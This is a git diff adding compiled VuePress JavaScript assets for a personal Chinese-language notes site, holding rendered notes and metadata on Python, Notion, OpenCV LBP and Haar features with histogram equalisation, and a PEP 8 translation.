(zhihu.com)"),a(t)])]),n("p",null,[n("a",Y,[s("理解RESTful架构 - 阮一峰的网络日志 (ruanyifeng.com)"),a(t)])])]),K,n("ul",null,[n("li",null,[n("a",X,[s("该部分来源"),a(t)])]),Q,$,nn]),sn,n("blockquote",null,[n("p",null,[n("a",an,[s("Python 海象运算符 - 知乎 (zhihu.com)"),a(t)])])]),tn,n("blockquote",null,[n("p",null,[n("a",en,[s("原文链接"),a(t)])])]),pn,n("blockquote",null,[n("p",null,[n("a",on,[s("装饰器 - 廖雪峰的官方网站 (liaoxuefeng.com)"),a(t)])])]),ln,n("ul",null,[n("li",null,[n("a",cn,[s("ASCII码对照"),a(t)])])]),un,n("ul",null,[n("li",null,[n("a",rn,[s("参考"),a(t)])]),dn]),kn,n("ul",null,[n("li",null,[n("a",mn,[s("原文链接"),a(t)])])]),hn,n("ul",null,[n("li",null,[n("p",null,[n("a",vn,[s("python中 r'', b'', u'', f'' 的含义"),a(t)])])]),bn]),gn,n("ul",null,[n("li",null,[n("a",yn,[s("图源"),a(t)])])]),En,n("p",null,[n("a",fn,[s("reflex/docs/zh/zh_cn/README.md at main · reflex-dev/reflex --- reflex/docs/zh/zh_cn/README.md 位于 main · reflex-dev/reflex (github.com)"),a(t)])]),wn,_n,xn,n("blockquote",null,[n("p",null,[n("a",An,[s("simple-https-server.py --- simple-https-server.py (github.com)"),a(t)])]),n("p",null,[n("a",Bn,[s("simple-https-server.py --- simple-https-server.py (github.com)"),a(t)])])]),qn,n("p",null,[s("要结合 ssl 的话需要先创建一组密钥, 可以参考 "),a(o,{to:"/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/%E5%8A%A0%E5%AF%86%E7%AE%97%E6%B3%95/#%E4%BD%BF%E7%94%A8-openssl-%E7%94%9F%E6%88%90%E8%87%AA%E7%AD%BE%E5%90%8D%E8%AF%81%E4%B9%A6"},{default:u(()=>[s("此处")]),_:1}),s(" 生成ca根证书密钥对并签发这里的证书与密钥对, 然后将根证书添加到本地受信任的根证书颁发机构")]),Dn])}const Nn=l(r,[["render",Fn],["__file","Note-python.html.vue"]]);export{Nn as default};
diff --git a/assets/Note-python.html-e3b36d98.js b/assets/Note-python.html-e3b36d98.js
new file mode 100644
index 0000000000..ee209b4425
--- /dev/null
+++ b/assets/Note-python.html-e3b36d98.js
@@ -0,0 +1 @@
+const l=JSON.parse('{"key":"v-4ba3ba57","path":"/Language/Python/Note-python.html","title":"Python随笔","lang":"zh-CN","frontmatter":{},"headers":[{"level":2,"title":"前言","slug":"前言","link":"#前言","children":[{"level":3,"title":"python 简介","slug":"python-简介","link":"#python-简介","children":[]},{"level":3,"title":"当前 python 各版本的使用情况","slug":"当前-python-各版本的使用情况","link":"#当前-python-各版本的使用情况","children":[]}]},{"level":2,"title":"换源操作","slug":"换源操作","link":"#换源操作","children":[]},{"level":2,"title":"code2flow ---- 根据 python 代码生成项目结构及函数调用图","slug":"code2flow-根据-python-代码生成项目结构及函数调用图","link":"#code2flow-根据-python-代码生成项目结构及函数调用图","children":[{"level":3,"title":"概述(摘自项目README)","slug":"概述-摘自项目readme","link":"#概述-摘自项目readme","children":[]},{"level":3,"title":"安装","slug":"安装","link":"#安装","children":[]},{"level":3,"title":"使用","slug":"使用","link":"#使用","children":[]}]},{"level":2,"title":"程序性能分析","slug":"程序性能分析","link":"#程序性能分析","children":[{"level":3,"title":"执行时间","slug":"执行时间","link":"#执行时间","children":[]},{"level":3,"title":"内存占用","slug":"内存占用","link":"#内存占用","children":[]}]},{"level":2,"title":"import 相关","slug":"import-相关","link":"#import-相关","children":[{"level":3,"title":"ModuleNotFoundError","slug":"modulenotfounderror","link":"#modulenotfounderror","children":[]},{"level":3,"title":"ImportError","slug":"importerror","link":"#importerror","children":[]},{"level":3,"title":"解决方案","slug":"解决方案","link":"#解决方案","children":[]}]},{"level":2,"title":"基础杂项","slug":"基础杂项","link":"#基础杂项","children":[{"level":3,"title":"函数注释","slug":"函数注释","link":"#函数注释","children":[]},{"level":3,"title":"深浅拷贝","slug":"深浅拷贝","link":"#深浅拷贝","children":[]},{"level":3,"title":"逻辑符号","slug":"逻辑符号","link":"#逻辑符号","children":[]},{"level":3,"title":"随手记","slug":"随手记","link":"#随手记","children":[]},{"level":3,"title":"输出","slug":"输出","link":"#输出","children":[]},{"level":3,"title":"random","slug":"random","link":"#random","children":[]},{"level":3,"title":"时间","slug":"时间","link":"#时间","children":[]},{"level":3,"title":"运算符","slug":"运算符","link":"#运算符","children":[]}]},{"level":2,"title":"函数","slug":"函数","link":"#函数","children":[{"level":3,"title":"返回函数参数表及参数数目","slug":"返回函数参数表及参数数目","link":"#返回函数参数表及参数数目","children":[]},{"level":3,"title":"lamda函数:定义匿名函数","slug":"lamda函数-定义匿名函数","link":"#lamda函数-定义匿名函数","children":[]},{"level":3,"title":"函数注释","slug":"函数注释-1","link":"#函数注释-1","children":[]},{"level":3,"title":"*args,**kwargs","slug":"args-kwargs","link":"#args-kwargs","children":[]},{"level":3,"title":"函数装饰器","slug":"函数装饰器","link":"#函数装饰器","children":[]}]},{"level":2,"title":"可迭代序列","slug":"可迭代序列","link":"#可迭代序列","children":[{"level":3,"title":"切片操作","slug":"切片操作","link":"#切片操作","children":[]},{"level":3,"title":"ASCII码","slug":"ascii码","link":"#ascii码","children":[]},{"level":3,"title":"List","slug":"list","link":"#list","children":[]},{"level":3,"title":"str","slug":"str","link":"#str","children":[]},{"level":3,"title":"dict","slug":"dict","link":"#dict","children":[]}]},{"level":2,"title":"文件操作","slug":"文件操作","link":"#文件操作","children":[{"level":3,"title":"文件与文件类型","slug":"文件与文件类型","link":"#文件与文件类型","children":[]},{"level":3,"title":"字符编码","slug":"字符编码","link":"#字符编码","children":[]},{"level":3,"title":"文件操作基础","slug":"文件操作基础","link":"#文件操作基础","children":[]},{"level":3,"title":"文件的打开或创建的访问模式","slug":"文件的打开或创建的访问模式","link":"#文件的打开或创建的访问模式","children":[]},{"level":3,"title":"CSV文件","slug":"csv文件-1","link":"#csv文件-1","children":[]}]},{"level":2,"title":"异常处理","slug":"异常处理","link":"#异常处理","children":[{"level":3,"title":"异常的概念","slug":"异常的概念","link":"#异常的概念","children":[]},{"level":3,"title":"示例","slug":"示例-2","link":"#示例-2","children":[]},{"level":3,"title":"异常类型","slug":"异常类型","link":"#异常类型","children":[]},{"level":3,"title":"异常处理机制","slug":"异常处理机制","link":"#异常处理机制","children":[]}]},{"level":2,"title":"建站工具","slug":"建站工具","link":"#建站工具","children":[{"level":3,"title":"Reflex","slug":"reflex","link":"#reflex","children":[]}]},{"level":2,"title":"使用 http.server 搭建文件服务器","slug":"使用-http-server-搭建文件服务器","link":"#使用-http-server-搭建文件服务器","children":[]},{"level":2,"title":"DNS Server","slug":"dns-server","link":"#dns-server","children":[]},{"level":2,"title":"报错收集","slug":"报错收集","link":"#报错收集","children":[{"level":3,"title":"no module named ‘pip’","slug":"no-module-named-pip","link":"#no-module-named-pip","children":[]}]}],"git":{"createdTime":1667833854000,"updatedTime":1698407471000,"contributors":[{"name":"233Official","email":"ayusummer233@qq.com","commits":7},{"name":"Ayusummer","email":"ayusummer233@gmail.com","commits":4},{"name":"233Official","email":"ayusummr233@gmail.com","commits":2},{"name":"咸鱼型233","email":"ayusummer233@qq.com","commits":2}]},"readingTime":{"minutes":40.6,"words":12180},"filePathRelative":"Language/Python/Note-python.md","localizedDate":"2022年11月7日","excerpt":""}');export{l as data};
diff --git a/assets/Notion.html-3da1b16f.js b/assets/Notion.html-3da1b16f.js
new file mode 100644
index 0000000000..5269ec2360
--- /dev/null
+++ b/assets/Notion.html-3da1b16f.js
@@ -0,0 +1 @@
+import{_ as r}from"./plugin-vue_export-helper-c27b6911.js";import{r as a,o as s,c,b as e,e as o,d as t}from"./app-880c6425.js";const i={},l=e("h1",{id:"notion",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#notion","aria-hidden":"true"},"#"),o(" Notion")],-1),h=e("h2",{id:"进度条",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#进度条","aria-hidden":"true"},"#"),o(" 进度条")],-1),_={href:"https://client.sspai.com/post/75271",target:"_blank",rel:"noopener noreferrer"},d={href:"https://zhuanlan.zhihu.com/p/621811139",target:"_blank",rel:"noopener noreferrer"},p=e("hr",null,null,-1);function u(f,m){const n=a("ExternalLinkIcon");return s(),c("div",null,[l,h,e("blockquote",null,[e("p",null,[e("a",_,[o("如何使用 Notion 原生的进度条? - 少数派 (sspai.com)"),t(n)])]),e("p",null,[e("a",d,[o("Notion 使用教程:如何创建Notion进度条,让数据看得见 - 知乎 (zhihu.com)"),t(n)])])]),p])}const k=r(i,[["render",u],["__file","Notion.html.vue"]]);export{k as default};
diff --git a/assets/Notion.html-a8c8fa45.js b/assets/Notion.html-a8c8fa45.js
new file mode 100644
index 0000000000..1fe9e471b1
--- /dev/null
+++ b/assets/Notion.html-a8c8fa45.js
@@ -0,0 +1 @@
+const e=JSON.parse('{"key":"v-bb286ff6","path":"/NoteTools/Notion.html","title":"Notion","lang":"zh-CN","frontmatter":{},"headers":[{"level":2,"title":"进度条","slug":"进度条","link":"#进度条","children":[]}],"git":{"createdTime":1684603774000,"updatedTime":1684603774000,"contributors":[{"name":"233Official","email":"ayusummer233@qq.com","commits":1}]},"readingTime":{"minutes":0.15,"words":45},"filePathRelative":"NoteTools/Notion.md","localizedDate":"2023年5月20日","excerpt":""}');export{e as data};
diff --git a/assets/OpenCV-python.html-6b16fb54.js b/assets/OpenCV-python.html-6b16fb54.js
new file mode 100644
index 0000000000..3f51a51845
--- /dev/null
+++ b/assets/OpenCV-python.html-6b16fb54.js
@@ -0,0 +1,119 @@
+import{_ as l}from"./plugin-vue_export-helper-c27b6911.js";import{r as p,o as i,c,a as o,b as n,e as s,d as t,f as a}from"./app-880c6425.js";const u={},r=n("h1",{id:"opencv-python",tabindex:"-1"},[n("a",{class:"header-anchor",href:"#opencv-python","aria-hidden":"true"},"#"),s(" OpenCV-python")],-1),d=n("hr",null,null,-1),m=n("hr",null,null,-1),k=n("h2",{id:"cv2-cascadeclassifier",tabindex:"-1"},[n("a",{class:"header-anchor",href:"#cv2-cascadeclassifier","aria-hidden":"true"},"#"),s(),n("code",null,"cv2.CascadeClassifier")],-1),v={href:"https://blog.csdn.net/Stray_Lambs/article/details/101123252",target:"_blank",rel:"noopener noreferrer"},h=n("hr",null,null,-1),b=n("li",null,[n("p",null,[n("code",null,"CascadeClassifier"),s(",是 Opencv 中做人脸检测的时候的一个级联分类器。并且既可以使用 Haar,也可以使用 LBP 特征。")]),n("hr")],-1),g=a(' Haar
Haar 特征是一种反映图像的灰度变化的,像素分模块求差值的一种特征。
它分为三类:边缘特征
、线性特征
、中心特征和对角线特征
。
用黑白两种矩形框组合成特征模板,在特征模板内用 黑色矩形像素和 减去 白色矩形像素和来表示这个模版的特征值。
例如:脸部的一些特征能由矩形模块差值特征简单的描述,如:眼睛要比脸颊颜色要深,鼻梁两侧比鼻梁颜色要深,嘴巴比周围颜色要深等。 但矩形特征只对一些简单的图形结构,如边缘、线段较敏感,所以只能描述在特定方向(水平、垂直、对角)上有明显像素模块梯度变化的图像结构。这样就可以进行区分人脸。 LBP
',3),_={href:"https://blog.csdn.net/quincuntial/article/details/50541815",target:"_blank",rel:"noopener noreferrer"},y=n("br",null,null,-1),w=n("code",null,"写完才发现全摘录了,建议直接阅读原文,原文评论区有不少相关讨论",-1),x=n("hr",null,null,-1),C=a(' LBP
特征的背景介绍 LBP 指局部二值模式,英文全称:Local Binary Pattern,是一种用来描述图像局部特征的算子;
LBP 特征具有灰度不变性和旋转不变性等显著优点。由 T.Ojala, M.Pietikäinen, 和 D.Harwood 在1994年提出;
由于 LBP 特征计算简单、效果较好,因此 LBP 特征在计算机视觉的许多领域都得到了广泛的应用,LBP 特征比较出名的应用是用在人脸识别和目标检测中,在计算机视觉开源库 Opencv 中有使用 LBP 特征进行人脸识别的接口,也有用 LBP 特征训练目标检测分类器的方法,Opencv 实现了 LBP 特征的计算,但没有提供一个单独的计算 LBP 特征的接口。
LBP特征的原理 1.原始LBP特征描述及计算方法
',4),f=n("ul",null,[n("li",null,[s("原始的 LBP 算子定义在像素 "),n("span",{class:"katex"},[n("span",{class:"katex-mathml"},[n("math",{xmlns:"http://www.w3.org/1998/Math/MathML"},[n("semantics",null,[n("mrow",null,[n("mn",null,"3"),n("mo",null,"∗"),n("mn",null,"3")]),n("annotation",{encoding:"application/x-tex"},"3*3")])])]),n("span",{class:"katex-html","aria-hidden":"true"},[n("span",{class:"base"},[n("span",{class:"strut",style:{height:"0.6444em"}}),n("span",{class:"mord"},"3"),n("span",{class:"mspace",style:{"margin-right":"0.2222em"}}),n("span",{class:"mbin"},"∗"),n("span",{class:"mspace",style:{"margin-right":"0.2222em"}})]),n("span",{class:"base"},[n("span",{class:"strut",style:{height:"0.6444em"}}),n("span",{class:"mord"},"3")])])]),s(" 的邻域内,以邻域中心像素为阈值,相邻的 8 个像素的灰度值与邻域中心的像素值进行比较,若周围像素大于中心像素值,则该像素点的位置被标记为 1 ,否则为 0 。这样,"),n("span",{class:"katex"},[n("span",{class:"katex-mathml"},[n("math",{xmlns:"http://www.w3.org/1998/Math/MathML"},[n("semantics",null,[n("mrow",null,[n("mn",null,"3"),n("mo",null,"∗"),n("mn",null,"3")]),n("annotation",{encoding:"application/x-tex"},"3*3")])])]),n("span",{class:"katex-html","aria-hidden":"true"},[n("span",{class:"base"},[n("span",{class:"strut",style:{height:"0.6444em"}}),n("span",{class:"mord"},"3"),n("span",{class:"mspace",style:{"margin-right":"0.2222em"}}),n("span",{class:"mbin"},"∗"),n("span",{class:"mspace",style:{"margin-right":"0.2222em"}})]),n("span",{class:"base"},[n("span",{class:"strut",style:{height:"0.6444em"}}),n("span",{class:"mord"},"3")])])]),s(" 邻域内的 8 个点经过比较可产生 8 位二进制数,将这 8 位二进制数依次排列形成一个二进制数字,这个二进制数字就是中心像素的 LBP 值,LBP 值共有 "),n("span",{class:"katex"},[n("span",{class:"katex-mathml"},[n("math",{xmlns:"http://www.w3.org/1998/Math/MathML"},[n("semantics",null,[n("mrow",null,[n("msup",null,[n("mn",null,"2"),n("mn",null,"8")]),n("mo",null,"="),n("mn",null,"256")]),n("annotation",{encoding:"application/x-tex"},"2^8 = 256")])])]),n("span",{class:"katex-html","aria-hidden":"true"},[n("span",{class:"base"},[n("span",{class:"strut",style:{height:"0.8141em"}}),n("span",{class:"mord"},[n("span",{class:"mord"},"2"),n("span",{class:"msupsub"},[n("span",{class:"vlist-t"},[n("span",{class:"vlist-r"},[n("span",{class:"vlist",style:{height:"0.8141em"}},[n("span",{style:{top:"-3.063em","margin-right":"0.05em"}},[n("span",{class:"pstrut",style:{height:"2.7em"}}),n("span",{class:"sizing reset-size6 size3 mtight"},[n("span",{class:"mord mtight"},"8")])])])])])])]),n("span",{class:"mspace",style:{"margin-right":"0.2778em"}}),n("span",{class:"mrel"},"="),n("span",{class:"mspace",style:{"margin-right":"0.2778em"}})]),n("span",{class:"base"},[n("span",{class:"strut",style:{height:"0.6444em"}}),n("span",{class:"mord"},"256")])])]),s(" 种可能。中心像素的 LBP 值反映了该像素周围区域的纹理信息。")])],-1),L=n("blockquote",null,[n("p",null,"PS : 计算 LBP 特征的图像必须是灰度图,如果是彩色图,需要先转换成灰度图。")],-1),P=n("ul",null,[n("li",null,[n("p",null,[s("上述过程用图像表示为:"),n("br"),n("img",{src:"http://cdn.ayusummer233.top/img/20210526101757.png",alt:"20210526101757"}),n("br"),n("img",{src:"http://cdn.ayusummer233.top/img/20210526101852.png",alt:"20210526101852"})])]),n("li",null,[n("p",null,[s("将上述过程用公式表示为:"),n("br"),n("img",{src:"http://cdn.ayusummer233.top/img/20210526101929.png",alt:"20210526101929"}),n("br"),n("span",{class:"katex"},[n("span",{class:"katex-mathml"},[n("math",{xmlns:"http://www.w3.org/1998/Math/MathML"},[n("semantics",null,[n("mrow",null,[n("mo",{stretchy:"false"},"("),n("msub",null,[n("mi",null,"x"),n("mi",null,"c")]),n("mo",{separator:"true"},","),n("msub",null,[n("mi",null,"y"),n("mi",null,"c")]),n("mo",{stretchy:"false"},")")]),n("annotation",{encoding:"application/x-tex"},"(x_c, y_c)")])])]),n("span",{class:"katex-html","aria-hidden":"true"},[n("span",{class:"base"},[n("span",{class:"strut",style:{height:"1em","vertical-align":"-0.25em"}}),n("span",{class:"mopen"},"("),n("span",{class:"mord"},[n("span",{class:"mord mathnormal"},"x"),n("span",{class:"msupsub"},[n("span",{class:"vlist-t vlist-t2"},[n("span",{class:"vlist-r"},[n("span",{class:"vlist",style:{height:"0.1514em"}},[n("span",{style:{top:"-2.55em","margin-left":"0em","margin-right":"0.05em"}},[n("span",{class:"pstrut",style:{height:"2.7em"}}),n("span",{class:"sizing reset-size6 size3 mtight"},[n("span",{class:"mord mathnormal mtight"},"c")])])]),n("span",{class:"vlist-s"},"")]),n("span",{class:"vlist-r"},[n("span",{class:"vlist",style:{height:"0.15em"}},[n("span")])])])])]),n("span",{class:"mpunct"},","),n("span",{class:"mspace",style:{"margin-right":"0.1667em"}}),n("span",{class:"mord"},[n("span",{class:"mord mathnormal",style:{"margin-right":"0.03588em"}},"y"),n("span",{class:"msupsub"},[n("span",{class:"vlist-t vlist-t2"},[n("span",{class:"vlist-r"},[n("span",{class:"vlist",style:{height:"0.1514em"}},[n("span",{style:{top:"-2.55em","margin-left":"-0.0359em","margin-right":"0.05em"}},[n("span",{class:"pstrut",style:{height:"2.7em"}}),n("span",{class:"sizing reset-size6 size3 mtight"},[n("span",{class:"mord mathnormal mtight"},"c")])])]),n("span",{class:"vlist-s"},"")]),n("span",{class:"vlist-r"},[n("span",{class:"vlist",style:{height:"0.15em"}},[n("span")])])])])]),n("span",{class:"mclose"},")")])])]),s(" 为中心像素的坐标"),n("br"),s(" p 为邻域的第 p 个像素"),n("br"),s(" ip 为邻域像素的灰度值"),n("br"),s(" ic 为中心像素的灰度值"),n("br"),s(" s(x) 为符号函数")])]),n("li",null,[n("p",null,"原始LBP特征计算代码(Opencv下)"),n("div",{class:"language-C++ line-numbers-mode","data-ext":"C++"},[n("pre",{class:"language-C++"},[n("code",null,`//原始LBP特征计算
+template
+void getOriginLBPFeature(InputArray _src,OutputArray _dst)
+{
+ Mat src = _src.getMat();
+ _dst.create(src.rows-2,src.cols-2,CV_8UC1);
+ Mat dst = _dst.getMat();
+ dst.setTo(0);
+ for(int i=1;i(i,j);
+ unsigned char lbpCode = 0;
+ lbpCode |= (src.at<_tp>(i-1,j-1) > center) << 7;
+ lbpCode |= (src.at<_tp>(i-1,j ) > center) << 6;
+ lbpCode |= (src.at<_tp>(i-1,j+1) > center) << 5;
+ lbpCode |= (src.at<_tp>(i ,j+1) > center) << 4;
+ lbpCode |= (src.at<_tp>(i+1,j+1) > center) << 3;
+ lbpCode |= (src.at<_tp>(i+1,j ) > center) << 2;
+ lbpCode |= (src.at<_tp>(i+1,j-1) > center) << 1;
+ lbpCode |= (src.at<_tp>(i ,j-1) > center) << 0;
+ dst.at(i-1,j-1) = lbpCode;
+ }
+ }
+}
+`)]),n("div",{class:"line-numbers","aria-hidden":"true"},[n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"})])]),n("p",null,[s("测试结果:"),n("br"),n("img",{src:"http://cdn.ayusummer233.top/img/20210526102435.png",alt:"20210526102435"})]),n("blockquote",null,[n("p",null,"原博主测测试结果, 我个人用的 OpenCV-python 没做测试")]),n("hr")])],-1),B=a(`2.LBP 特征的改进版本
在原始的 LBP 特征提出以后,研究人员对 LBP 特征进行了很多的改进,因此产生了许多 LBP 的改进版本。 save, 留个眼[bookmark]在这里, 先写其他的了
detectMultiScale()
void detectMultiScale(
+ // 待检测图像
+ const Mat& image,
+ // 被检测物体的矩形框向量
+ CV_OUT vector & objects,
+ // 前后两次相继的扫描中搜索窗口的比例系数,默认为 1.1 即每次搜索窗口扩大 10%
+ double scaleFactor = 1.1,
+ /*构成检测目标的相邻矩形的最小个数
+ 如果组成检测目标的小矩形的个数和
+ 小于 minneighbors - 1 都会被排除
+ 如果 minneighbors为 0
+ 则函数不做任何操作就返回所有被检候选矩形框
+ */
+ int minNeighbors = 3,
+ // 若设置为 CV_HAAR_DO_CANNY_PRUNING 函数将会使用 Canny 边缘检测来排除边缘过多或过少的区域
+ int flags = 0,
+ // 最后两个参数用来限制得到的目标区域的范围
+ Size minSize = Size(),
+ Size maxSize = Size()
+ );
+
falgs
CV_HAAR_DO_CANNY_PRUNING
: 利用Canny边缘检测器来排除一些边缘很少或者很多的图像区域CV_HAAR_SCALE_IMAGE
: 按比例正常检测CV_HAAR_FIND_BIGGEST_OBJECT
: 只检测最大的物体CV_HAAR_DO_ROUGH_SEARCH
: 只做初略检测 直方图处理 `,9),z=n("li",null,[n("p",null,"对一幅低对比度分辨率的图像采用直方图均衡化和规定化方法实现图像增强,分别采用系统函数和自己编写函数实现相应用功能。"),n("hr")],-1),S={href:"http://codec.wang/#/opencv/basic/15-histograms",target:"_blank",rel:"noopener noreferrer"},M=n("hr",null,null,-1),O=a(`直方图
: 简单来说,直方图就是图像中每个像素值的个数统计形成的柱状图
OpenCV中直方图计算
cv2. calcHist( images, channels, mask, histSize, ranges)
+
images
: 要计算的原图,以方括号的传入,如:[img]
channels
: 类似dims,灰度图写[0]就行,彩色图B/G/R分别传入[0]/[1]/[2]
dims
: 要计算的通道数,对于灰度图dims=1,普通彩色图dims=3mask
: 要计算的区域,计算整幅图的话,写None
histSize
: 子区段数目,如果我们统计0~255每个像素值histSize=256;如果划分区间,比如0~15, 16~31…240~255这样16个区间,histSize=16
ranges
: 要计算的像素值范围,一般为[0,256)
绘制直方图
import cv2
+ import matplotlib. pyplot as plt
+
+ img = cv2. imread( '../resource/pic/lena_low_quality.jpg' )
+ plt. hist( img. ravel( ) , 256 , [ 0 , 256 ] )
+ plt. show( )
+
直方图均衡化
自己编写函数实现相应用功能
import cv2
+import numpy as np
+import matplotlib. pyplot as plt
+
+
+
+def hist_equal ( image, z_max= 255 ) :
+ H, W = image. shape
+ S = H * W * 1.
+ out = image. copy( )
+ sum_h = 0.
+
+ for i in range ( 1 , 255 ) :
+ ind = np. where( image == i)
+
+ sum_h += len ( image[ ind] )
+
+ z_prime = z_max / S * sum_h
+
+ out[ ind] = z_prime
+
+ out = out. astype( np. uint8)
+
+ return out
+
+
+img = cv2. imread( "../resource/pic/lena_low_quality.jpg" , 0 ) . astype( np. float )
+out = hist_equal( img)
+
+plt. hist( out. ravel( ) , bins= 255 , rwidth= 0.8 , range = ( 0 , 255 ) )
+plt. show( )
+
+cv2. imshow( "result" , out)
+cv2. waitKey( 0 )
+cv2. destroyAllWindows( )
+
`,5);function q(A,V){const e=p("ExternalLinkIcon");return i(),c("div",null,[o(`
+ * @Author: your name
+ * @Date: 2021-05-25 22:19:51
+ * @LastEditTime: 2021-05-26 14:20:42
+ * @LastEditors: Please set LastEditors
+ * @Description: In User Settings Edit
+ * @FilePath: \\DailyNotes\\OpenCV-python.md
+`),r,d,m,k,n("ul",null,[n("li",null,[n("p",null,[n("a",v,[s("参考链接"),t(e)])]),h]),b]),g,n("ul",null,[n("li",null,[n("p",null,[n("a",_,[s("LBP特征原理@SnailTyan"),t(e)]),y,s(" ["),w,s("]")]),x])]),C,f,L,P,B,n("ul",null,[z,n("li",null,[n("p",null,[n("a",S,[s("参考链接@CodecWang"),t(e)])]),M]),O])])}const H=l(u,[["render",q],["__file","OpenCV-python.html.vue"]]);export{H as default};
diff --git a/assets/OpenCV-python.html-a0689654.js b/assets/OpenCV-python.html-a0689654.js
new file mode 100644
index 0000000000..d0ff72385d
--- /dev/null
+++ b/assets/OpenCV-python.html-a0689654.js
@@ -0,0 +1 @@
+const e=JSON.parse('{"key":"v-44284413","path":"/Language/Python/libs/OpenCV/OpenCV-python.html","title":"OpenCV-python","lang":"zh-CN","frontmatter":{},"headers":[{"level":2,"title":"cv2.CascadeClassifier","slug":"cv2-cascadeclassifier","link":"#cv2-cascadeclassifier","children":[{"level":3,"title":"Haar","slug":"haar","link":"#haar","children":[]},{"level":3,"title":"LBP","slug":"lbp","link":"#lbp","children":[]},{"level":3,"title":"detectMultiScale()","slug":"detectmultiscale","link":"#detectmultiscale","children":[]}]},{"level":2,"title":"直方图处理","slug":"直方图处理","link":"#直方图处理","children":[]}],"git":{"createdTime":1694760760000,"updatedTime":1694760760000,"contributors":[{"name":"233Official","email":"ayusummr233@gmail.com","commits":1}]},"readingTime":{"minutes":6.23,"words":1869},"filePathRelative":"Language/Python/libs/OpenCV/OpenCV-python.md","localizedDate":"2023年9月15日","excerpt":""}');export{e as data};
diff --git a/assets/PEP8.html-271f630c.js b/assets/PEP8.html-271f630c.js
new file mode 100644
index 0000000000..dae46a937f
--- /dev/null
+++ b/assets/PEP8.html-271f630c.js
@@ -0,0 +1,271 @@
+import{_ as p}from"./plugin-vue_export-helper-c27b6911.js";import{r as o,o as i,c as l,b as n,e as s,d as e,f as t}from"./app-880c6425.js";const c={},u=n("h1",{id:"introduction-介绍",tabindex:"-1"},[n("a",{class:"header-anchor",href:"#introduction-介绍","aria-hidden":"true"},"#"),s(" Introduction 介绍")],-1),r={href:"https://legacy.python.org/dev/peps/pep-0007/",target:"_blank",rel:"noopener noreferrer"},d={href:"http://legacy.python.org/dev/peps/pep-0257/",target:"_blank",rel:"noopener noreferrer"},k={href:"https://barry.warsaw.us/software/STYLEGUIDE.txt",target:"_blank",rel:"noopener noreferrer"},v=t('这篇规范指南随着时间的推移而逐渐演变,随着语言本身的变化,过去的约定也被淘汰了。
许多项目有自己的编码规范,在出现规范冲突时,项目自身的规范优先。
A Foolish Consistency is the Hobgoblin of Little Minds 尽信书,则不如无书 Guido的一条重要的见解是代码阅读比写更加频繁。这里提供的指导原则主要用于提升代码的可读性,使得在大量的Python代码中保持一致。就像PEP 20提到的,“Readability counts”。
这是一份关于一致性的风格指南。这份风格指南的风格一致性是非常重要的。更重要的是项目的风格一致性。在一个模块或函数的风格一致性是最重要的。
然而,应该知道什么时候应该不一致,有时候编码规范的建议并不适用。当存在模棱两可的情况时,使用自己的判断。看看其他的示例再决定哪一种是最好的,不要羞于发问。
特别是不要为了遵守PEP约定而破坏兼容性!
几个很好的理由去忽略特定的规则:
当遵循这份指南之后代码的可读性变差,甚至是遵循PEP规范的人也觉得可读性差。 与周围的代码保持一致(也可能出于历史原因),尽管这也是清理他人混乱(真正的Xtreme Programming风格)的一个机会。 有问题的代码出现在发现编码规范之前,而且也没有充足的理由去修改他们。 当代码需要兼容不支持编码规范建议的老版本Python。 Code lay-out 代码布局 Indentation 缩进 每一级缩进使用4个空格。
',12),m={href:"https://blog.csdn.net/ratsniper/article/details/78954852#fn:7",target:"_blank",rel:"noopener noreferrer"},h=t(`挂行缩进是一种类型设置样式,其中除第一行之外,段落中的所有行都缩进。在Python中,这个术语是用来描述一种风格:在被括号括起来的语句中,左括号是这一行最后一个非空格字符,随后括号内的内容每一行进行缩进,直到遇到右括号。 推荐:
+foo = long_function_name( var_one, var_two,
+ var_three, var_four)
+
+
+def long_function_name (
+ var_one, var_two, var_three,
+ var_four) :
+ print ( var_one)
+
+
+foo = long_function_name(
+ var_one, var_two,
+ var_three, var_four)
+
不推荐:
+foo = long_function_name( var_one, var_two,
+ var_three, var_four)
+
+
+def long_function_name (
+ var_one, var_two, var_three,
+ var_four) :
+ print ( var_one)
+
四空格的规则对于续行是可选的。
可选:
+foo = long_function_name(
+ var_one, var_two,
+ var_three, var_four)
+
当if语句的条件部分长到需要换行写的时候,注意可以在两个字符关键字的连接处(比如if),增加一个空格,再增加一个左括号来创造一个4空格缩进的多行条件。这会与if语句内同样使用4空格缩进的代码产生视觉冲突。PEP没有明确指明要如何区分i发的条件代码和内嵌代码。可使用的选项包括但不限于下面几种情况:
+if ( this_is_one_thing and
+ that_is_another_thing) :
+ do_something( )
+
+
+if ( this_is_one_thing and
+ that_is_another_thing) :
+
+ do_something( )
+
+
+if ( this_is_one_thing
+ and that_is_another_thing) :
+ do_something( )
+
(可以参考下面关于是否在二进制运算符之前或之后截断的讨论) 在多行结构中的大括号/中括号/小括号的右括号可以与内容对齐单独起一行作为最后一行的第一个字符,就像这样:
my_list = [
+ 1 , 2 , 3 ,
+ 4 , 5 , 6 ,
+ ]
+result = some_function_that_takes_arguments(
+ 'a' , 'b' , 'c' ,
+ 'd' , 'e' , 'f' ,
+ )
+
或者也可以与多行结构的第一行第一个字符对齐,就像这样:
my_list = [
+ 1 , 2 , 3 ,
+ 4 , 5 , 6 ,
+]
+result = some_function_that_takes_arguments(
+ 'a' , 'b' , 'c' ,
+ 'd' , 'e' , 'f' ,
+)
+
